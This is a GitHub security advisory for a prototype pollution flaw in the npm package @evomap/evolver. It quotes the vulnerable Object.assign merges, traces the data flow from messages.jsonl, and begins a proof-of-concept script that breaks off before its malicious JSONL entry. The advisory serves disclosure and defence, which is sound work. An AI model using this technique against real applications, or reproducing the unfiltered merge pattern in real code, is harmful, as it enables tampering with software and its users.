GitHub Security Advisory: GHSA-2cjr-5v3h-v2w4
Package: @evomap/evolver (NPM)
Severity: MODERATE (CVSS 5.2)
CWE: CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable versions: < 1.69.3
Patched in: 1.69.3

Summary: Evolver has Prototype Pollution via `Object.assign()` in its mailbox store operations

Details:
### Summary
A prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into `Object.prototype`. The vulnerability exists in the `_applyUpdate()` and `_updateRecord()` functions which use `Object.assign()` to merge user-controlled data without filtering dangerous keys like `__proto__`, `constructor`, or `prototype`.

### Details
The vulnerability exists in `src/proxy/mailbox/store.js` at lines 123 and 145:

```javascript
// src/proxy/mailbox/store.js:115-128
_applyUpdate(row) {
  if (row._op === 'update') {
    const existing = this._index[row.id];
    // VULNERABLE: Direct Object.assign without key filtering
    if (existing) Object.assign(existing, row.fields);
    else this._index[row.id] = row.fields;
  }
  // ...
}

// src/proxy/mailbox/store.js:138-150
_updateRecord(id, fields) {
  const existing = this._index[id];
  // VULNERABLE: Direct Object.assign without key filtering
  if (existing) Object.assign(existing, fields);
  // ...
}
```

The vulnerability can be triggered when an attacker has the ability to write to the `messages.jsonl` file (used for mailbox persistence). By crafting a malicious JSONL entry with `__proto__` as a field key, the attacker can pollute the prototype of all objects.

The data flows from:
1. `messages.jsonl` file → 
2. `readLines()` function (line 47) → 
3. `_rebuildIndex()` (line 113) → `_applyUpdate()` (line 121) → 
4. `Object.assign()` pollutes prototype

### PoC

**Prerequisites:**
- Node.js installed
- Access to write to the mailbox messages file

**Steps to reproduce:**

1. Create a test file demonstrating the vulnerability:

```javascript
// test-prototype-pollution.js
const fs = require('fs');
const path = require('path');

// Simulate the vulnerable Store class logic
class VulnerableStore {
  constructor(filePath) {
    this.filePath = filePath;
    this._index = {};
  }

  load() {
    if (!fs.existsSync(this.filePath)) return;
    const lines = fs.readFileSync(this.filePath, 'utf8').split('\n');
    for (const line of lines) {
      if (!line.trim()) continue;
      try {
        const row = JSON.parse(line);
        this._applyUpdate(row);
      } catch (e) {
        // Ignore parse errors
      }
    }
  }

  _applyUpdate(row) {
    if (row._op === 'update') {
      const existing = this._index[row.id];
      // VULNERABLE: No filtering of dangerous keys
      if (existing) Object.assign(existing, row.fields);
      else this._index[row.id] = row.fields;
    }
  }

  update(id, fields) {
    this._updateRecord(id, fields);
  }

  _updateRecord(id, fields) {
    const existing = this._index[id];
    // VULNERABLE: No filtering of dangerous keys
    if (existing) Object.assign(existing, fields);
    else this._index[id] = fields;
  }
}

// Test the vulnerability
console.log('=== Testing Prototype Pollution ===\n');

// Create a malicious messages.jsonl file
const maliciousContent = JSON.stringify({